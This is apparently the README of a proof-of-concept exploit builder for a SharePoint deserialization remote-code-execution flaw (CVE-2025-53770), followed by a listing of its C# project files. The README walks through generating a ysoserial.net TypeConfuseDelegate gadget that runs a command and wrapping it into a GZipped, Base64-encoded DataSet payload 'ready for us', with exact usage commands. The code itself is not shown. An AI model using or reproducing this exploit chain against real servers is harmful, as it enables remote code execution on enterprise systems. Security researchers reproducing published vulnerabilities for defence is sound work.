Do you really think SharePoint is safe? # OurSharePoint - CVE-2025-53770 (PoC)
This is a simple C# tool that builds a GZipped, Base64-encoded .NET DataSet payload using a LosFormatter-encoded inner payload. It's designed to help reproduce the SharePoint deserialization RCE chain described in public research.
---
## What it does
You give it a Base64-encoded payload (like one from ysoserial.net), and it:
- Wraps it inside a valid .NET DataSet with a custom XML schema + diffgram
- Serializes the result using BinaryFormatter
- GZips the serialized blob
- Base64-encodes the result and writes it to a `.b64` file
---
## References
- https://research.eye.security/sharepoint-under-siege/
- https://github.com/rapid7/metasploit-framework/pull/20409/commits
---
## Usage
First, generate your payload using [ysoserial.net](https://github.com/pwntester/ysoserial.net):
```bash
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
```
Then run this tool:
```bash
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
```
This will generate:
- exploit.bin - a raw serialized DataSet
- exploit.b64 - final GZipped and Base64-encoded payload thats ready for us
Also, if you dont specify `--a`, `--b`, or `--c`, the tool generates random lowercase names.
Notes
This tool does not validate or inspect the payload you give it.
If you're testing locally and deserialize manually, it may execute (e.g., pop calc).
[4.0K] /data/pocs/bd360bebea9f0404c1e61532c5efda0cdc4ee2d1
├── [4.0K] OurSharePoint
│ ├── [ 182] App.config
│ ├── [2.3K] OurSharePoint.csproj
│ ├── [5.8K] Program.cs
│ └── [4.0K] Properties
│ └── [1.2K] AssemblyInfo.cs
├── [1.1K] OurSharePoint.sln
└── [1.5K] README.md
2 directories, 6 files